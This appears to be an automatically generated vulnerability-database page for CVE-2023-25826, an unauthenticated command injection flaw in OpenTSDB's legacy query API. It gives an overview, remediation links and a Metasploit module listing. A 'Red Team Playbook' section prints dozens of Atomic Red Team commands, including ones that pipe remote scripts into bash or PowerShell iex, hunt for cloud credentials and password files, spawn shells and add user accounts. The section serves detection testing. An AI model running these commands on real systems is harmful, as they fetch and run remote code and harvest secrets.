CVE-2023-25826
Overview
This vulnerability is a command injection flaw caused by insufficient validation of parameters passed to OpenTSDB's legacy HTTP query API. The root cause lies in an ineffective regex-based input validation mechanism that fails to properly restrict crafted inputs, allowing malicious OS commands to bypass the intended filters. The affected component is the legacy HTTP query API responsible for processing query parameters.
Vulnerability Description
Due to insufficient validation of parameters passed to the legacy HTTP query API, it is possible to inject crafted OS commands into multiple parameters and execute malicious code on the OpenTSDB host system. This exploit exists due to an incomplete fix that was made when this vulnerability was previously disclosed as CVE-2020-35476. Regex validation that was implemented to restrict allowed input to the query API does not work as intended, allowing crafted commands to bypass validation.
Impact
An unauthenticated remote attacker can exploit this vulnerability to execute arbitrary OS commands on the OpenTSDB host system, potentially gaining full control over the server. No user interaction or privileges are required, and network access to the HTTP query API is sufficient. This can lead to complete system compromise, data manipulation, or service disruption. The CVSS vector (AV:N/AC:L/PR:N/UI:N) confirms that exploitation is remotely achievable with low complexity and no authentication.
Solution
Users should upgrade OpenTSDB to the patched versions that address this vulnerability as referenced in the GitHub pull request #2275 and the Synopsys advisory. The patch corrects the regex validation logic in the legacy HTTP query API to properly sanitize input parameters. Detailed patch instructions and version-specific fixes are available at https://github.com/OpenTSDB/opentsdb/pull/2275 and the Synopsys blog post. Applying these updates promptly is recommended to mitigate the risk.
EPSS vs KEV Prediction — Evolution (30 days)
Full Analysis
The vulnerability in the legacy HTTP query API of OpenTSDB arises from insufficient validation of parameters, allowing an attacker to inject malicious operating system commands. This flaw is particularly concerning because it stems from an incomplete fix of a previously disclosed issue, indicating a failure in the security lifecycle management of the product. The regex validation that was implemented to restrict the input parameters does not function as intended, enabling crafted commands to bypass these checks. As a result, an attacker can exploit this weakness to execute arbitrary code on the host system, potentially leading to a complete compromise of the server.
Exploitation of this vulnerability can occur through various attack vectors. An attacker could craft a malicious HTTP request targeting the query API, embedding OS commands within the parameters. Given that the API is designed to process queries, the attacker can manipulate the input to execute commands that could read sensitive data, alter system configurations, or even install additional malware. This type of attack could be executed remotely, making it particularly dangerous as it does not require physical access to the affected system. Scenarios could include an attacker targeting a publicly accessible instance of OpenTSDB, leveraging the vulnerability to gain unauthorized access to the underlying operating system.
The real-world impact of this vulnerability is significant, especially for organizations relying on OpenTSDB for time-series data storage and analysis. A successful exploitation could lead to data breaches, loss of sensitive information, and disruption of services. The business risks are multifaceted, including potential financial losses, reputational damage, and regulatory penalties if sensitive data is exposed. Additionally, the compromised system could be used as a launchpad for further attacks within the organization's network, amplifying the threat landscape. The high CVSS score of 9.8 underscores the critical nature of this vulnerability, indicating that organizations must prioritize its remediation.
To detect and mitigate this vulnerability, organizations should implement several strategies. First, it is essential to conduct a thorough assessment of the OpenTSDB deployment to identify any instances of the vulnerable API. Regular security audits and penetration testing can help uncover potential exploitation paths. Additionally, organizations should apply any available patches or updates provided by the vendor to address the underlying issue. If immediate patching is not feasible, implementing web application firewalls (WAFs) to filter and monitor incoming requests can provide an additional layer of security. Furthermore, organizations should establish strict input validation and sanitization practices for all API endpoints to prevent similar vulnerabilities in the future.
In conclusion, the vulnerability within the OpenTSDB legacy HTTP query API poses a serious threat to the security of systems utilizing this software. The potential for arbitrary code execution through insufficient parameter validation highlights the importance of robust security measures in software development and maintenance. Organizations must remain vigilant, employing both proactive and reactive strategies to safeguard their systems against such vulnerabilities, ensuring that they can continue to operate securely in an increasingly complex threat landscape.
Affected Products (1)
| Vendor | Product | Version | CPE | |
|---|---|---|---|---|
|
|
Opentsdb | Opentsdb | All |
cpe:2.3:a:opentsdb:opentsdb:*:*:*:*:*:*:*:*
|
Disclaimer
The exploits, modules, and proof-of-concept (PoC) code listed in this section are automatically collected from public repositories, including GitHub, ExploitDB, and Metasploit Framework.
CSURFACE is not the author, maintainer, or responsible party for any of this code. The content may contain malicious code, backdoors, or undocumented behavior.
By accessing any external link or executing any referenced code, you assume full responsibility for the risks involved. We strongly recommend:
- Only execute in isolated environments (sandbox/VM)
- Review source code before any execution
- Do not use against systems without explicit authorization
- Comply with all applicable local laws and regulations
Metasploit (1)
| Module | Authors | Rank | Platform | Link |
|---|---|---|---|---|
|
OpenTSDB 2.4.1 unauthenticated command injection
exploits/linux/http/opentsdb_key_cmd_injection
|
Gal Goldstein, Daniel Abeles, Erik Wynter | Unknown | - | View |
Threat Feed
1 eventsPublic exploit code is available for this vulnerability
Likely Kill Chain
Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.
Kill chain derived from the ML classifier.
Attack Vectors ML
MITRE ATT&CK Techniques (6)
The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.
The techniques for this CVE don't apply to this operating system. Switch OS above.
CAPEC Attack Patterns ML
| ID | Name | ML Conf. | Likelihood | Severity | Link |
|---|---|---|---|---|---|
| CAPEC-88 | OS Command Injection |
52%
|
High | High | |
| CAPEC-43 | Exploiting Multiple Input Interpretation Layers |
51%
|
Medium | High | |
| CAPEC-6 | Argument Injection |
48%
|
High | High |
Red Team Playbook
44 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.
AtomicRedTeam has no published tests for this CVE's techniques on this OS. Switch OS above to see other options.
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
$syntaxList = #{syntax}
foreach ($syntax in $syntaxList) {
#{SharpView} $syntax -}
netstat -ano
net use
net sessions 2>nul
netstat
who -a
Get-NetTCPConnection | ForEach-Object {
$p = Get-Process -Id $_.OwningProcess -ErrorAction SilentlyContinue
[pscustomobject]@{
Local = "$($_.LocalAddress):$($_.LocalPort)"
Remote = "$($_.RemoteAddress):$($_.RemotePort)"
State = $_.State
PID = $_.OwningProcess
Process = if ($p) { $p.ProcessName } else { $null }
}
} | Sort-Object State,Process | Format-Table -AutoSize
sockstat -4
sockstat -6 2>/dev/null || true
sockstat -l 2>/dev/null || true
if command -v ss >/dev/null 2>&1; then ss -antp 2>/dev/null || ss -ant; ss -aunp 2>/dev/null || true; else lsof -i -nP 2>/dev/null || true; fi
Get-NetTCPConnection
[ "$(uname)" = 'FreeBSD' ] && pw useradd art -g wheel -s /bin/csh || useradd -s /bin/bash art
cat /etc/passwd |grep ^art
chsh -s /bin/sh art
cat /etc/passwd |grep ^art
for i in $(seq 1 5); do echo "$i, Atomic Red Team was here!"; sleep 1; done
curl -sS https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
wget --quiet -O - https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
sh -c "echo 'echo Hello from the Atomic Red Team' > #{script_path}"
sh -c "echo 'ping -c 4 #{host}' >> #{script_path}"
chmod +x #{script_path}
sh #{script_path}
echo '! exec "/bin/sh &"' | PERL_MM_USE_DEFAULT=1 cpan
uname -srm
cd /tmp
curl -s #{remote_url} |bash
ls -la /tmp/art.txt
export ART='echo "Atomic Red Team was here... T1059.004"'
echo $ART |/bin/sh
chmod +x #{autosuid}
bash #{autosuid}
chmod +x #{linenum}
bash #{linenum}
TMPFILE=$(mktemp)
echo "id" > $TMPFILE
bash $TMPFILE
[ "$(uname)" = 'FreeBSD' ] && encodecmd="b64encode -r -" && decodecmd="b64decode -r" || encodecmd="base64 -w 0" && decodecmd="base64 -d"
ART=$(echo -n "id" | $encodecmd)
echo "\$ART=$ART"
echo -n "$ART" | $decodecmd |/bin/bash
unset ART
awk 'BEGIN {system("/bin/sh &")}'
busybox sh &
echo $0
if $(env |grep "SHELL" >/dev/null); then env |grep "SHELL"; fi
if $(printenv SHELL >/dev/null); then printenv SHELL; fi
cat /etc/shells
sudo emacs -Q -nw --eval '(term "/bin/sh &")'
xcopy /I /Y "#{web_shells}" #{web_shell_path}
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
python2 laZagne.py all
grep -ri password #{file_path}
exit 0
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
find #{file_path}/.aws -name "credentials" -type f 2>/dev/null
find #{file_path}/.azure -name "msal_token_cache.json" -o -name "accessTokens.json" -type f 2>/dev/null
find #{file_path}/.config/gcloud -name "credentials.db" -o -name "access_tokens.db" -type f 2>/dev/null
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
for file in $(find #{file_path} -type f -name .netrc 2> /dev/null);do echo $file ; cat $file ; done
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput
Detection & Response Rules
No detection or response rules found for this CVE.
No news articles found for this CVE.
References (4)
| Title | Tags | URL |
|---|---|---|
| nvd.nist.gov |
NVD
reference
|
https://nvd.nist.gov/vuln/detail/CVE-2023-25826 |
| synopsys.com |
GitHub CVE
|
https://www.synopsys.com/blogs/software-security/opentsdb/ |
| github.com |
GitHub CVE
|
https://github.com/OpenTSDB/opentsdb/pull/2275 |
| packetstormsecurity.com |
GitHub CVE
|
http://packetstormsecurity.com/files/174570/OpenTSDB-2.4.1-Unauthenticated-Command-Injection.html |